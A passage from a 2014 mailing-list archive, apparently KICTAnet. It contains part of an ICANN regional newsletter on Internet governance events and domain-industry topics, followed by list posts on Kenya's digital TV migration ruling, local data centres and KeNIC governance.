with China, Egypt, the Philippines, Turkey and othersNew York15 SeptemberRegional IGFMacedonia22 SeptemberLunch briefing in Geneva to all missions and most IGOs and Internet organisations - Keynote by Fadi ChehadeGeneva29 SeptemberParis meeting convened by SG OIF of the steering committee on Forum de la Langue FrançaiseParis1 OctoberWTO Public Forum: Presentation on Internet and Trade by ISOC and ICANN _ ICANN Regional Insights The Internet Governance Forum: From Dialogue to Action *By Baher Esmat, VP Stakeholder Engagement, Middle East* IGF Photo Gallery: https://www.flickr.com/photos/icann/sets/72157647157492522/ When the Internet Governance Forum (IGF <http://www.intgovforum.org/cms/>) came to birth nine years ago, many perceived it as a mechanism for damage control. During its first couple of years, skepticism was rife about both its continuity and its ability to address controversial IG issues. However, over time, the IGF succeeded in bringing different stakeholders closer by offering them an open space for dialogue, very much like the Internet itself, where they can debate IG related issues. It has even gone further in building bridges of trust and knowledge transfer across stakeholders. The 9th IGF meeting was held in Istanbul, Turkey during 2-5 September 2014, bringing together more than 3,500 onsite and remote participants. This is credit to how the IGF has become a meeting point for those who are interested in the broad spectrum of Internet Governance, to come together, engage in discussions, interact with one another, and perhaps launch new ideas and initiatives. In fact, the very first IGF meeting took place the same year Twitter was created and Facebook was opened to the public. This was only eight years ago, yet the Internet has evolved tremendously since then. While one could argue that the IGF has evolved at a much slower pace than the Internet, the fact of the matter is that it is the IGF participants who have been shaping its evolution in a bottom-up, multi-stakeholder fashion, which by its very nature takes time to develop and thrive. But nevertheless, the IGF has continued to improve, particularly following the recommendations <http://unctad.org/meetings/en/SessionalDocuments/a67d65_en.pdf> of the CSTD working group on improvements to the IGF. This year’s IGF had a lot on the agenda, covering the current affairs of Internet Governance with a wide range of topics inclusive of ICANN accountability, network neutrality, Internet rights, digital trust, empowering youth, spam, content creation, to name just a few. Improvements to the IGF this year were manifested in many aspects that may be hard to cover in full here; but some are worth noting. In an attempt to make outcomes of the IGF more visible and tangible, the MAG Chair has put an open call for information on concrete actions and decisions taken by organizations as a result of their participation in the IGF. Feedback along with a summary document is available online <http://www.intgovforum.org/cms/documents/contributions/call-for-information>. Best practice forums have been introduced with an aim to have more informed discussions on specific topics and produce outcome documents. The IGF website has been given a facelift and become in some parts more streamlined. On the financial side, an IGF Support Association has been launched <http://www.internetsociety.org/news/new-association-launched-support-intern…> to support and complement existing funding, and to strengthen the IGF secretariat as well as regional and national IGFs. As in previous IGF meetings, ICANN was present <https://www.icann.org/news/announcement-3-2014-08-25-en> in Istanbul with staff, Board, and community members organizing and taking part in various sessions. The IGF offers ICANN the opportunity to reach out to a wider community that is not regularly present at ICANN meetings. The ICANN Open Forum attracted more than 100 participants who came to hear from ICANN leadership and have a dialogue with them on any issues related to ICANN. This year, the issue of IANA stewardship transition and ICANN accountability was the subject of discussion in several sessions. A Town Hall meeting was held on Day 1 to further engage with community and clarify any points in relation to the Enhancing ICANN Accountability and Governance Process <https://www.icann.org/news/announcement-08-2014-09-05-en>. This was yet another opportunity for ICANN to listen to community members and assure them that we are taking their feedback seriously. Statistics in the Chair’s summary <http://www.intgovforum.org/cms/documents/igf-meeting/igf-2014-istanbul/246-…> show that almost half of the IGF attendees this year were from developing countries. Enhancing participation from developing countries and involving new stakeholders was one of the key recommendations of the CSTD working group. Obviously, IGF Istanbul has made progress in this direction. Another issue the IGF has been looking into is how to strengthen its linkages with regional and national IGFs. Such regional and national forums, particularly those in developing countries, deem the global IGF as the place where they can showcase their work and at the same time get to learn from other experiences and return home with homework to do. As one participant from Yemen told me during the meeting “there is a lot going on in Internet governance and we’ve got enormous work to do back home”. So, “action” is what the IGF community is after, and many have felt that the IGF this year was more focused on the action side of the things, or as the Chair’s summary puts it: “From dialogue to action”. The importance of the 7th annual conference of registries and registrars in Baku this year *TLDCON-2014 was held on Sept.10-11 in Baku, Republic of Azerbaijan* *By Michael Yakushev, VP Stakeholder Engagement * Traditionally this conference attracts not only regional companies and organizations, but also a wider number of stakeholders and jurisdictions. This year more than 100 delegates from 24 countries gathered in Baku. The TLDCON-2014 was preceded by a regional ENOG conference, organized by RIPE NCC. The week was packed with interesting and fruitful discussions, by both the IP/Telecom and DNS business communities, on the most current Internet issues. Naturally, discussions focused on the new technical issues and legal challenges that arise with the evolving nature of the Internet and its ecosystem; becoming more complex and more diverse. The DNS industry, which was considered at the TLDCON-2014 as a ‘cornerstone’ of the Internet infrastructure, is heavily influenced by the nGTLDs Program, and we can see not only rapid regional development of some new domains, but also a certain decline of the growth rate of many ccTLDs, and failed expectations of the business success of other new GTLDs. This factor raised discussions on the future of the Internet, its technical infrastructure and its role in the global economic processes. Which is healthy and helps bring more awareness to the issues and processes that need to be followed in order to circumvent and overcome the hurdles faced with the growth of the Internet. Both events (TLDCON and ENOG meeting) are important for our regional efforts to engage stakeholders, to share best practices, and to understand better regional and global trends in the development of the network infrastructure, Internet-related business, and government regulation. Events in Baku were really cross-regional: people came there not only from the region of the Eastern Europe and Central Asia, but also from different Western and Southern European Countries, United States, and Asia. There were also proposals on better integration of such regional events into the overall ICANN meetings strategy, as many ‘Regional-specific’ issues may be fruitfully discussed and solved at the regional (or cross-regional) level, saving more room for global questions of the Internet Governance at ICANN meetings. ICANN had good presentation at the TLDCON-2014 by myself, Patrick Jones - Global Stakeholders Engagements Senior Director, and Sarmad Hussein-IDN Program Senior Manager. Issues like new GTLD Program implementation, development of the L-Root infrastructure, IDN Variants and Label Generation Panel for Cyrillic names, NTIA transition project, and forecasts for the “Internet-2020”, were covered. All such issues are among the most discussed in the local technical and business communities. A lot of commercial companies and government agencies expressed their interest to the possible new cycle of the nTLD program. Many regional companies would like to install L-Root servers for improving their global connectivity. As the official languages of many countries in the region are based on Cyrillic letters, and there may be new IDN gTLDs in the future, the corresponding technical issues should be solved as soon as possible. And, finally, any proposals for the regulation and/or technical projects should be based on the vision, what the main trends in the Internet development are now and may be visible in the future. Further information on the conference may be found at http://meeting.cctld.ru/en/. >From Westphalia to Sao Paulo: building our future (governance) together *By Jean-Jacques Sahel, VP Stakeholder Engagement, Europe* Evolution is happening at an exponential rate in our time. You need only remember, the Radio took 38 years to reach a market of 50 million users; Television took 13 years to reach 50 million users - and the Internet took only about 4 years to reach the same number. Today, close to 3 billion users have increasingly come to rely on Internet access to facilitate basic, everyday needs and aspirations, all over the world. In less than one generation, the Internet exploded in the number of users, mobility, data volumes, economic importance, and global reach. These achievements are due in some significant part to the Internet’s peculiar bottom-up, multi-stakeholder model of governance which, by bringing together different stakeholders' particular remit and expertise, helped to achieve a scalable and robust Internet. Yet, for all the progress enabled by the multi-stakeholder model we are mindful that the Internet is relatively young, and likewise is our pioneering system of governance. The very pace and magnitude of the Internet’s development has also brought with it a whole set of new challenges we have to address as we build our future Internet governance together. It is a long road ahead of us. Relying on, and improving, our decentralized, collaborative, multi-stakeholder model of governance is the best way to address these new challenges and evolve the way the Internet is governed in the future. One of the major steps in consolidating and improving the model is happening right now with the transition of oversight for the IANA functions, and the accountability & governance review that comes with this change. It is perhaps interesting to look at what the multi-stakeholder model often gets compared to, or contrasted with: the nation-state model enshrined in the treaties of Westphalia in 1648; when the major powers in Europe agreed on a number of peace treaties aimed to end the wars that had plagued much of continental Europe for most of the century. As often, nothing happens overnight. The model did not achieve its aim of peace immediately: France and Spain were at war for another 11 years after the treaties were signed. In short, what this experience could tell us is: give peace – and multi-stakeholderism – a chance to develop. It is incumbent on us all to engage positively and constructively towards improving our processes, and to allow for the necessary time for the model to develop and thrive – we are after all, experimenting with a model, which could solve more than just the Internet’s problems. Just over 20 years ago, Samuel Huntington famously raised the prospect of a looming ‘clash of civilizations’, of cultural conflicts. Others since – and many more recently, in the wake of the multiplication of regional and transnational conflicts – have expanded to talk about the end of the nation-state system as initiated in 1648. As we enter the 21st century and are waking to the realization of the immense benefits of the Internet - our first truly global tool of human ‘inter-connectedness’ - the multi-stakeholder model presents an interesting evolution in governance possibilities. One that could not replace, but coexist with and relieve, the nation-state system. Over the next year, in taking forward the Net Mundial Roadmap and transitioning the USG oversight of IANA to the ‘global multi-stakeholder community’, we have a great chance - and a common responsibility: to work together to build on and reinforce the multi-stakeholder global model of governance that has permitted the Internet to serve the whole world so amazingly over the past quarter of a century. As someone stated once: ‘Internet Governance in in Your Hands’. Or as I would say, in my understated fashion: ‘the future is in your hands’ – together we can build a better and evolving Internet that serves all of our needs and aspirations. Monetization of the Africa domain name space *By Pierre Dandjinou, VP, Africa* Domain monetization is one of the largest and most profitable online industries. Simply put, a company or an individual decides to purchase domain names either to sell, lease, or to park them with the purpose of making money. The ROI (return on investment) rate through domain monetization depends on the entrepreneur’s plans and initiative. Registries and registrars also can reap benefits through the potential of domain monetization. Why should one discuss monetization in Africa? The recently held Africa Domain Name Forum in Abuja Nigeria offered many examples of how African registries and registrars have taken advantage of new opportunities through investment and monetization. Moreover, registries feel the need to increase their customer base; hence the necessity for engaging in targeted marketing activities. The ICANN African strategy calls for a series of initiatives including capacity building that could boost the African domain name market and business. One obvious result of increased monetization of the domain name space in Africa is the potential transformation of the current ecosystem, with a total of approximately 1,200,000 registrations (out of a population of 1.2 billion). Of these, nine hundred thousand (900,000) are solely from South Africa. This alone shows how much work we need to do to fully capitalize on the domain industry. Indeed there are different methods of monetizing domain names: - Developing Affiliate Websites - Developing Pay Per Click(PPC) Websites , which originates from PPC advertising systems such as Google AdSense and Yahoo Publisher Network. - Domain Parking - Domain Leasing – Renting the domain name to advertisers or other interested parties - Domain Purchase and Resale - Domain Development which entails development of a website with unique content and a business model For African registries, one way of monetizing is the development of registrar and reseller friendly TLD policies. Other avenues include the development of local content and scalable automated registry platforms as well as through the improvement of the technical and business capacity of registry operators through continuous training and packaging of domains as a service and not as a commodity. For registrars and resellers, the reduced taxation, which has a direct impact on the overall cost of domains, should be the norm as this will lead to a reduction in the cost of registering domain names. Consequently, African Governments should also consider tax waivers for ccTLDs to promote uptake. Marketing is another key element, which starts by the registries offering reliable and predictable service to their clients. Hence, the technical staff plays as equal a responsibility in marketing as the business staff by ensuring stable, reliable and secure registries. Moreover, registries should look for agile and adapted payment solutions. For example, e -payment and cash payment should run in parallel. Many online payments solutions (especially PayPal) exist but have yet to be implemented in most parts of Africa. As was noted in the Africa strategy, there is a need to build capacities for business development within African ccTLDs and registrars; issues pertaining to quality of service (QoS), and quality of experience (QoE) as well as trademarks and Intellectual property concerns should be considered and embedded within comprehensive and operational policies and procedures. In so doing, one paves the way for the advent of an African business and industry of the domain name. The Story behind ICANN’s BCG Road show *By Chris Mondini, VP Stakeholder Engagement, Global Business and North America* The work of ICANN in coordinating the names and addresses of the Internet helps keep it global, expanding and interoperable. Furthermore, increased access to a global, expanding, and interoperable Internet is good for business and national economies. Support for this point can be found in the Boston Consulting Group’s report on E friction, “Greasing the Wheels of the Internet Economy” <https://www.icann.org/en/system/files/files/bcg-internet-economy-27jan14-en…> . The BCG report came out in January, and continues to resonate with governments and business leaders around the world by providing a clear roadmap of how businesses and national economies can continue to benefit by fully embracing a global, borderless Internet. Why did ICANN commission the research? In part because much of the current reporting in global Internet governance has focused on the “doom and gloom” scenarios of an Internet fragmented or “balkanized” by a patchwork or national regulatory regimes. And in part, not much research has been done on the effect of barriers and hurdles in the online world, and the drag they have on economic growth. The E friction report has made it easier to identify the areas of friction that hold back the digital economy and at the same time has helped ICANN to emphasize the opportunities for advancement that come from making the most of the ever expanding, globally interoperable Internet. This last point is especially useful for business users of the Internet and the Domain Name System. In conducting their research, BCG found that Small and Medium Enterprises with a robust web presence, who make the most of online marketing, sales and systems management, and who embrace cloud computing can considerably grow their revenues. By creating an index and measuring the performance of 65 countries, BCG has provided a valuable benchmark against which future gains can be measured. But it is all predicated on an Internet that remains borderless and interoperable, hence complementing other reports that highlight the benefits of reducing or eliminating barriers to Internet access and its affect for both countries and companies. Each ICANN-BCG roundtable gathers a mix of government officials and business leaders and takes on its own regional characteristics. A representative from a global telecommunications firm described the discussions a “crisp and brisk … full of innovative thinking and interesting people”. Another participant asserted: “the world needs to know about the risks faced by the global Internet. It is up to business to help governments understand what’s at stake”. In creating a country index, BCG has opened the door to possible future iterations of the report to see how countries perform. In the meantime, at least one ICT ministry has reported that they will use the report as a menu of ways to work with business to improve their country’s friction score. The report has also successfully underscored ICANN’s role as a partner in a shared aim to maintain an open, scalable and interoperable Internet. ICANN Business Engagement meeting successfully held in Africa *By Bob Ochieng, Manager; Stakeholder Engagement - East Africa* ICANN's work is crucial to the interoperability and growth of the Internet on which so many businesses depend regardless of geographical location.. Furthermore, ICANN is an open and participatory model – business advantage and useful information can be gained simply through participation. Knowing – and actually shaping – Internet policy related to the Domain Name System and other unique identifiers is a primary reason many companies participate today. But while participation has increased over the years, private sector involvement in general, especially in Africa, is minimal. This has prompted ICANN to engage this constituency to stimulate better and meaningful participation from across the world. And so as curtain came down on the 9th global IGF in Istanbul, Chris Mondini headed to Nairobi, Kenya where he convened a business engagement roundtable.. The event was titled “Sustaining the power of the global Internet for transformative economic growth” and was designed to encourage participants to focus on the Internet as a global business resource with the potential of contributing significantly to the growth of a national GDP as evidenced by the recent report by the Boston Consulting Group on “e-friction”. This meeting was just the first of many that will be held in various parts of Africa, targeting the business sector in line with the Africa strategy. In preparation for the Nairobi meeting, we collaborated with the Ministry of ICT, the Director General of the Kenya regulator (Communications Authority - CA) and key Telco’s and ISPs in Kenya while coordinating with the ISP Association in Kenya (Telecommunications Service Providers Association – TESPOK) and KeNIC (.KE registry) to widen our reach to the community. The two-day meeting engaged over 60 participants from two groups of business stakeholders, namely, telecommunications businesses - those involved in the ICT business including Telco’s – as well as other businesses involving banks, and the Chamber of Commerce. The mixed panel presentation areas focused on the ICANN Africa Strategy and the BCG report with a panel discussion on Business Engagement – the How & Why Engage? It was stressed during the panel discussions that the BCG report is meant to stimulate countries and its policy makers to refocus their attention in addressing key areas of e-friction (infrastructure; industry; information; and individual) by having all parties siting on the same side of the table to deliberate. All in all, the reception to the panels was positive with candid and constructive engagement from the attendees. The key takeaways from our panel was how to localize the data presented to better engage the African business community, and the recognition that there is definitely a need to spread this engagement through other parts of Africa. _Spotlight The Lebanese Internet Center (LINC) – A Democratic Multistakeholder Governance Initiative in EMEA *By Nabil Bukhalid, CEO* The Lebanese Internet Center (LINC) is a public/private, not-for-profit organization characterized by a democratic multistakeholder governance structure (Figure 1). LINC’s strategic alliance between civil society organizations, corporations, syndicates, universities, research organizations and the government of Lebanon emanated from major and long standing gaps in Internet governance in Lebanon affecting the sustainability and growth of the Internet and more specifically the operation and business continuity of the Lebanese Domain Name Registry (LBDR). LINC is initially responsible for the Internet’s Lebanese top-level domain (.lb ccTLD and .لبنان AIDN), including the registration of domain names, and the administration and technical maintenance of the national domain-name registry infrastructure. LINC will also promote the positive development of the Internet in Lebanon. A share of the fee that LINC intends to charge for domain name registration will be invested in capacity and community building activities and projects that promote the positive development of the Internet in Lebanon. There are currently less than 4,000 registered .lb domains. LINC intends to file with ICANN for the re-delegation of the .lb ccTLD, apply for the .لبنان AIDN, and develop the DNS industry in Lebanon by establishing friendly, efficient, secure and competitive registration processes based on the registry/registrars business model. LINC aims to grow into the natural choice for companies, organizations and individuals that want a domain name associated with Lebanon by providing the best services to the local Lebanese market, the globally spread Lebanese diaspora and the global market at large. The necessity for a multistakeholder body to assist in the amalgamation of different and competing interests was pinned by Fadi Chehadé, ICANN CEO, during a reconnaissance visit to Beirut in February 2013. The partners engaged in long sessions of critical thinking on governance structure outcome, impact and alternatives and, while they acknowledged that multi-stakeholder governance will introduce complex processes with insecure outcomes, they made a conscious decision that multi-stakeholder governance is a strategic and preferred option for the Internet governance in Lebanon. On June the 2nd, 15 months later, Fadi Chehadé returned to Beirut to celebrate with Lebanon the launching of LINC from the Ministry of Economy and Trade. As the incumbent .lb registrar and one of the key facilitators in the making of LINC, I would like to share my reflections and observations on the multi-stakeholder building process: - In a multi-stakeholder development initiative, the democratic process is as important as the outcome. Democracy is a complex and testing evolutionary process. - The Internet is a network of complex interdependent networks at the physical, economical, political and social levels. With growing complexity and interdependence comes growing needs for collaborative efforts. - In a multi-stakeholder development process confrontational parties develop trust relationships as a byproduct of: working together; sharing problems, concerns and dilemmas; and facilitating the exchange of information and the alignment of goals. Trust-building among the stakeholders is crucial for success. - Engaging in multi-stakeholder governance efforts opens the way to gradually introduce multi-stakeholder practices and get them transcribed in governmental policies and regulations. - The execution of multi-stakeholder governance requires from the partners to address the sustainability issues. The partners should secure sustainable means to finance the operation while neutralizing the power of money. I.e. since power equal money, the corporate partners’ financial might should not give them additional privilege over the NGOs, etc. - Interest diversity is at the core of multi-stakeholder governance, the more diverse interests are; the more diverse stakeholders should be involved in order to increase the effectiveness of the process. The target is to engage all stakeholders and leave nobody out. The price to pay is that this makes collaboration more complex and difficult. - Interest diversity in a dynamic and continuously evolving and mutating environment, such as the Internet, require a dynamic and flexible multi-stakeholder governance structure. Interests can change over time, new parties might want to enter the partnership and others might want to exit. - The success of the multi-stakeholder process dictates utmost transparency and open communication. - Participation in a multi-stakeholder initiative requires considerable resources and consumes a lot of time. _Key Regional Upcoming ICANN Events Please view the ICANN calendar for a more detailed look at all events <https://features.icann.org/calendar?keys=&field_date_value%5Bmin%5D%5Bdate%…> in the ecosystem. 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The meeting is filled with interesting and engaging sessions on a wide variety of topics, such as: - The SO/AC-Led High Interest Topic Session, which will discuss the role of government representation in ICANN - Enhancing ICANN Accountability, which will address the issue how ICANN can remain accountable in the absence of its historic contractual relationship with the U.S. government, and the - Community Discussion with the ICG where the IANA Stewardship Coordination Group (ICG) will discuss the transition. Registration for ICANN51 is free – just go to https://registration.icann.org/. If you can’t attend in person, remote participation is highly encouraged – and easy to do. Just visit the online schedule and select the session you’re interested in – almost all have options for joining in from wherever you are. _ICANN News Highlights Accountability / NTIA IANA Functions Stewardship transition You need to be involved. All of the Accountability track information can be found here: https://community.icann.org/category/accountability https://www.icann.org/en/stewardship NMI launch in Geneva The Initiative is being undertaken by the World Economic Forum, in collaboration with various partners including ICANN and key governmental, industry, academic and civil society stakeholders. This collaboration will facilitate a distributed environment of effective multistakeholder cooperation through innovative and legitimate mechanisms to: 1. Help solve global Internet challenges, especially the non technical ones 2. Inform and equip capacity development initiatives to ensure global participation in Internet cooperation, especially from under-represented regions; 3. Build trust in the Internet and its governance ecosystem. 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Fwd: RE: Digital Migration Ruling
by Bernard Kioko 04 Oct '14

04 Oct '14

Walu, Find attached as requested. Regards ---------- Forwarded message ---------- From: "Alwala, Rachel" <Alwala(a)ca.go.ke> Date: Sep 30, 2014 7:52 PM Subject: RE: [kictanet] Digital Migration Ruling To: "Bernard Kioko" <bkioko(a)bernsoft.com>, "KICTAnet ICT Policy Discussions" <kictanet(a)lists.kictanet.or.ke> Cc: Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel *From:* kictanet [mailto:kictanet-bounces+alwala= cck.go.ke(a)lists.kictanet.or.ke] *On Behalf Of *Bernard Kioko via kictanet *Sent:* 30 September 2014 19:33 *To:* Alwala, Rachel *Subject:* [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Neelie Kroes to ETNO - "Adapt or die."
by Gideon 03 Oct '14

03 Oct '14

Interesting read http://www.lightreading.com/services/broadband-services/telecom-sector-its-… (Kroes) attended a conference organized by European Telecommunications Network Operators' Association (ETNO) , the industry association that represents the region's major telcos, and witnessed the unveiling of ETNO's "Agenda for Europe," which calls for an "ambitious reform of current policy." Then Kroes took to the stage and fired thunderbolts into the crowd, starting her speech -- "Adapt or die: What I would do if I ran a telecom company" -- by noting that "sometimes I think the telecoms sector is its own worst enemy," before adding that the telecom sector's representatives in the room were "probably all looking forward to the very near future ... when you won't have to put up with me anymore." Cue uncomfortable shuffling in seats... She told the telcos that they "have to change" and be ready for a world set to be dominated by the cloud, the Internet of Things (IoT), big data and 5G. "What is the telecoms sector's relationship to that digital future?" she asked. "Will you be leading us there? Or will you be dragged along behind, against your will, resisting until the last?" And while the telcos were still smarting at that virtual dig in the ribs, Kroes proceeded to tell them "how I'd steer a telco through dynamic digital developments." --------------------- The Kroes speech in full: http://europa.eu/rapid/press-release_SPEECH-14-647_en.htm ETNO's Agenda for Europe: https://www.etno.eu/etno-agenda-for-europe Regards Gideon Rop DotConnectAfrica

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Kenya’s digital TV migration: These days, empty-handed people don’t win
by Grace Githaiga 02 Oct '14

02 Oct '14

On Monday, the Supreme Court ruled that media houses and the Communications Authority of Kenya should go, sit down over coffee, and agree on a date for the complete switch-over to digital TV within 90 days. ...The digital migration debacle in Kenya, therefore speaks to a bigger problem…and to a solution. Why did the Chinese firm, Star Times, beat the local competition? Was it hostility against the local media by someone in government and an attempt to “fix” them? Did kola nut change hands?We don’t know, but there are lessons that Kenyan media and private businesses need to take away from this episode. In the world today, disinterested, purely public-good driven policy by governments is rare. http://www.nation.co.ke/oped/Opinion/Kenyas-digital-TV-migration/-/440808/2…

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Founder’s stories, demystifying techpreneurial journeys
by Mbugua Njihia 02 Oct '14

02 Oct '14

We need to capture and tell the real stories, beyond what a piecemeal take in the media interview can fully represent, of the journey taken by those who have gone before and either succeeded or failed. This will demystify the life and makings of an entrepreneur and help those who “dare” to have realistic expectations of what lies ahead. Full piece here - http://www.mbuguanjihia.com/business/founders-stories-demystifying-techpren…

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Resending -- Proposal/Policy to Develop Local Skills and Data Centers
by S.M. Muraya 01 Oct '14

01 Oct '14

Dear Listers, We need patriotic funds (tenders) for local firms (only) to build data centers (and services) in Kenya. No single firm should be allowed to handle data services for more than 10 counties unless it is a national government project. This will ensure we have 5 firms in Kenya acquiring the knowledge and funds to manage our data. You will never find well localized systems in departments or organizations in the private or public sector which favor non residents (including Kenyans outside their counties) who misunderstand local practices and circumstances. What is the point of trips if citizens on the ground are not well served? If we have 4 Billion for MCA travel and KES 6 Billion for MCA vehicles, then we can invest KES 10 Billion (per annum) for information systems in 47 counties. Per annum, this is about KES 1 Billion for a county/city like Nairobi and KES 50 million per annum for smaller counties. Yesterday, was not served in a Nairobi County office because there was no printer toner. I also noted expired (unprotected) software being used. The Kenya ICT Authority should also identify and award public/county officials in Kenya building information systems utilizing and empowering local firms/skills. County officials should also recognize firms (not their own) helping them develop and increase transparency/efficiency. We will steal less if we know our actions are audited and flagged by some information system. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… We should note, Ethiopia may be be targeting Central Africa after noting Kenya as the East African IT Hub/Lead. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… Results from some constructive politics... http://economictimes.indiatimes.com/tech/software/microsoft-to-set-up-3-dat… *Microsoft to set up 3 data centres in India by 2015* NEW DELHI: Microsoft plans to offer its commercial and cloud services - Azure and Office 365 - from three local data centres by the end of 2015, making it the first technology company to set up cloud data centres in India, a move that experts say will help the US-based software giant compete better in the domestic market. "When we think about the cloud opportunity in India itself, it is going to be a $2 trillion opportunity," chief executive Satya Nadella said in Delhi on Tuesday, adding that the move will help Indian companies, government and entrepreneurs. Without disclosing the investment involved in setting up the data centres, Nadella said they will have "sizeable" capacity. The announcement is significant given that the ruling Bharatiya Janata Party has been vocal about bringing local data centres to India to maintain data sovereignty. Besides, a large number of Indian enterprises have increasingly voiced concerns about hosting their data on the public cloud because none of the major players such as Amazon Web Services, Microsoft or Google have cloud data centres in India. Read more at: http://economictimes.indiatimes.com/articleshow/43881117.cms?utm_source=con… Regards Murigi / Stanley Muraya "Better a patient person than a warrior, one with self-control than one who takes a city." Prov 16:32

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KeNIC AGM & the fate of The Multi-Stakeholder Engagement
by Ali Hussein 01 Oct '14

01 Oct '14

Listers As KeNIC's AGM is about to kickoff at the Sankara today morning a few questions are worth asking at the function:- 1. What is the status of the new envisioned KeNIC with CA as the licensing body? 2. The community would like to have a copy of the report by the consultant with the recommendations of the new dispensation and which organizations would form or be party to the New IANA Agreement. (Unfortunately this is not something that can be wished away and the community does have the right to know all the details). 3. What came of the cancelled meeting by the CA that had invited the new stakeholders - ICTA, KENET, DRAKE and TESPOK that was supposed to be held on the 15th of September? Was another one held? 4. A subsequent meeting by the CA inviting ICTA and TESPOK to handover the CA mandate to ICTA was called without the other two stakeholders being invited (DRAKE & KENET). What are we to make of this? And what transpired during the purported handover? 5. Lastly, any new Board of KeNIC MUST take into consideration a composition that includes Independent directors who are able to steer the New KeNIC without encumbering it with vested interests. To all the Stakeholders This is an ernest appeal to you to ensure that this particular phase of KeNIC's life is navigated with caution, transparency and natural justice. Up to the time when the September 15 meeting was called all seemed to be going on well. Let's ensure we continue in the same vein. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Policy to Develop Local Skills and Data Centers
by S.M. Muraya 01 Oct '14

01 Oct '14

Dear Listers, We need patriotic funds (tenders) for local firms (only) to build data centers (and services) in Kenya. No single firm should be allowed to handle data services for more than 10 counties unless it is a national government project. This will ensure we have 5 firms in Kenya acquiring the knowledge and funds to manage our data. You will never find well localized systems in departments or organizations in the private or public sector which favor n. What is the point of trips abroad if citizens on the ground are not well served? The Kenya ICT Authority should also identify and award public/county officials in Kenya building information systems utilizing and empowering local firms/skills. County officials should recognize firms (not their own) helping them develop and increase transparency. We will steal less if we know our actions are http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… We should note, Ethiopia may be be targeting Central Africa after noting Kenya as the East African IT Hub/Lead. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… Results from some constructive politics... http://economictimes.indiatimes.com/tech/software/microsoft-to-set-up-3-dat… *Microsoft to set up 3 data centres in India by 2015* NEW DELHI: Microsoft plans to offer its commercial and cloud services - Azure and Office 365 - from three local data centres by the end of 2015, making it the first technology company to set up cloud data centres in India, a move that experts say will help the US-based software giant compete better in the domestic market. "When we think about the cloud opportunity in India itself, it is going to be a $2 trillion opportunity," chief executive Satya Nadella said in Delhi on Tuesday, adding that the move will help Indian companies, government and entrepreneurs. Without disclosing the investment involved in setting up the data centres, Nadella said they will have "sizeable" capacity. The announcement is significant given that the ruling Bharatiya Janata Party has been vocal about bringing local data centres to India to maintain data sovereignty. Besides, a large number of Indian enterprises have increasingly voiced concerns about hosting their data on the public cloud because none of the major players such as Amazon Web Services, Microsoft or Google have cloud data centres in India. Read more at: http://economictimes.indiatimes.com/articleshow/43881117.cms?utm_source=con… Regards Murigi / Stanley Muraya *"Better a patient person than a warrior, one with self-control than one who takes a city." Prov 16:32*

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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

It does. Thank you Rachel for your help. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 8:17 PM To: Bernard Kioko; 'KICTAnet ICT Policy Discussions' Subject: RE: [kictanet] Digital Migration Ruling Bernard, In the judgement conclusion, the Court the Authority to, in consultation with all the parties to the suit, set the time-lines for the digital migration, pending the international Analogue Switch-off Date of 17th June, 2015. Hope this helps clarify. Regards, Rachel From: Bernard Kioko [mailto:bkioko@bernsoft.com] Sent: 30 September 2014 20:10 To: Alwala, Rachel; 'KICTAnet ICT Policy Discussions' Subject: RE: [kictanet] Digital Migration Ruling Rachel (or anyone else with this info), I have quickly looked through the summary and I haven't found anywhere indicating when the Supreme Court ordered the cut off to digital should be. Do you know if this was actually set by the court or was it left to CA to decide. Thank you. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. 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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

